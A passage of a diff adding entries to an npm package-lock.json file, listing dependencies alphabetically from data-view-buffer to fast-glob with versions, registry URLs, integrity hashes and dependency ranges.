"sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==", + "dev": true + }, + "node_modules/data-view-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz", + "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/data-view-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz", + "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/inspect-js" + } + }, + "node_modules/data-view-byte-offset": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz", + "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/date-fns": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-4.1.0.tgz", + "integrity": "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/kossnocorp" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js-light": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", + "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==" + }, + "node_modules/decode-named-character-reference": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.2.0.tgz", + "integrity": "sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q==", + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/detect-node-es": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", + "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==" + }, + "node_modules/devlop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", + "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", + "dependencies": { + "dequal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.249", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.249.tgz", + "integrity": "sha512-5vcfL3BBe++qZ5kuFhD/p8WOM1N9m3nwvJPULJx+4xf2usSlZFJ0qoNYO2fOX4hi3ocuDcmDobtA+5SFr4OmBg==", + "dev": true, + "license": "ISC" + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true + }, + "node_modules/engine.io-client": { + "version": "6.6.3", + "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.3.tgz", + "integrity": "sha512-T0iLjnyNWahNyv/lcjS2y4oE358tVS/SYQNxYXGAJ9/GLgH4VCvOQ/mhTjqU88mLZCQgiG8RIegFHYCdVC+j5w==", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1", + "engine.io-parser": "~5.2.1", + "ws": "~8.17.1", + "xmlhttprequest-ssl": "~2.1.1" + } + }, + "node_modules/engine.io-client/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/engine.io-parser": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.3.tgz", + "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/es-abstract": { + "version": "1.24.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz", + "integrity": "sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.2", + "arraybuffer.prototype.slice": "^1.0.4", + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "data-view-buffer": "^1.0.2", + "data-view-byte-length": "^1.0.2", + "data-view-byte-offset": "^1.0.1", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-set-tostringtag": "^2.1.0", + "es-to-primitive": "^1.3.0", + "function.prototype.name": "^1.1.8", + "get-intrinsic": "^1.3.0", + "get-proto": "^1.0.1", + "get-symbol-description": "^1.1.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "internal-slot": "^1.1.0", + "is-array-buffer": "^3.0.5", + "is-callable": "^1.2.7", + "is-data-view": "^1.0.2", + "is-negative-zero": "^2.0.3", + "is-regex": "^1.2.1", + "is-set": "^2.0.3", + "is-shared-array-buffer": "^1.0.4", + "is-string": "^1.1.1", + "is-typed-array": "^1.1.15", + "is-weakref": "^1.1.1", + "math-intrinsics": "^1.1.0", + "object-inspect": "^1.13.4", + "object-keys": "^1.1.1", + "object.assign": "^4.1.7", + "own-keys": "^1.0.1", + "regexp.prototype.flags": "^1.5.4", + "safe-array-concat": "^1.1.3", + "safe-push-apply": "^1.0.0", + "safe-regex-test": "^1.1.0", + "set-proto": "^1.0.0", + "stop-iteration-iterator": "^1.1.0", + "string.prototype.trim": "^1.2.10", + "string.prototype.trimend": "^1.0.9", + "string.prototype.trimstart": "^1.0.8", + "typed-array-buffer": "^1.0.3", + "typed-array-byte-length": "^1.0.3", + "typed-array-byte-offset": "^1.0.4", + "typed-array-length": "^1.0.7", + "unbox-primitive": "^1.1.0", + "which-typed-array": "^1.1.19" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-iterator-helpers": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz", + "integrity": "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.6", + "es-errors": "^1.3.0", + "es-set-tostringtag": "^2.0.3", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.6", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "iterator.prototype": "^1.1.4", + "safe-array-concat": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz", + "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==", + "dev": true, + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-to-primitive": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz", + "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==", + "dev": true, + "dependencies": { + "is-callable": "^1.2.7", + "is-date-object": "^1.0.5", + "is-symbol": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-toolkit": { + "version": "1.41.0", + "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.41.0.tgz", + "integrity": "sha512-bDd3oRmbVgqZCJS6WmeQieOrzpl3URcWBUVDXxOELlUW2FuW+0glPOz1n0KnRie+PdyvUZcXz2sOn00c6pPRIA==" + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "9.39.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.1.tgz", + "integrity": "sha512-BhHmn2yNOFA9H9JmmIVKJmd288g9hrVRDkdoIgRCRuSySRUHH7r/DI6aAXW9T1WwUuY3DFgrcaqB+deURBLR5g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.1", + "@eslint/config-array": "^0.21.1", + "@eslint/config-helpers": "^0.4.2", + "@eslint/core": "^0.17.0", + "@eslint/eslintrc": "^3.3.1", + "@eslint/js": "9.39.1", + "@eslint/plugin-kit": "^0.4.1", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^8.4.0", + "eslint-visitor-keys": "^4.2.1", + "espree": "^10.4.0", + "esquery": "^1.5.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^8.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-config-prettier": { + "version": "10.1.8", + "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz", + "integrity": "sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w==", + "dev": true, + "bin": { + "eslint-config-prettier": "bin/cli.js" + }, + "funding": { + "url": "https://opencollective.com/eslint-config-prettier" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, + "node_modules/eslint-plugin-jsx-a11y": { + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz", + "integrity": "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==", + "dev": true, + "dependencies": { + "aria-query": "^5.3.2", + "array-includes": "^3.1.8", + "array.prototype.flatmap": "^1.3.2", + "ast-types-flow": "^0.0.8", + "axe-core": "^4.10.0", + "axobject-query": "^4.1.0", + "damerau-levenshtein": "^1.0.8", + "emoji-regex": "^9.2.2", + "hasown": "^2.0.2", + "jsx-ast-utils": "^3.3.5", + "language-tags": "^1.0.9", + "minimatch": "^3.1.2", + "object.fromentries": "^2.0.8", + "safe-regex-test": "^1.0.3", + "string.prototype.includes": "^2.0.1" + }, + "engines": { + "node": ">=4.0" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.37.5", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.5.tgz", + "integrity": "sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.8", + "array.prototype.findlast": "^1.2.5", + "array.prototype.flatmap": "^1.3.3", + "array.prototype.tosorted": "^1.1.4", + "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.2.1", + "estraverse": "^5.3.0", + "hasown": "^2.0.2", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.9", + "object.fromentries": "^2.0.8", + "object.values": "^1.2.1", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.5", + "semver": "^6.3.1", + "string.prototype.matchall": "^4.0.12", + "string.prototype.repeat": "^1.0.0" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz", + "integrity": "sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0" + } + }, + "node_modules/eslint-plugin-react-refresh": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.24.tgz", + "integrity": "sha512-nLHIW7TEq3aLrEYWpVaJ1dRgFR+wLDPN8e8FpYAql/bMV2oBEfC37K0gLEGgv9fy66juNShSMV8OkTqzltcG/w==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "eslint": ">=8.40" + } + }, + "node_modules/eslint-scope": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", + "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.15.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^4.2.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", + "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-util-is-identifier-name": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz", + "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", + "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==" + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + 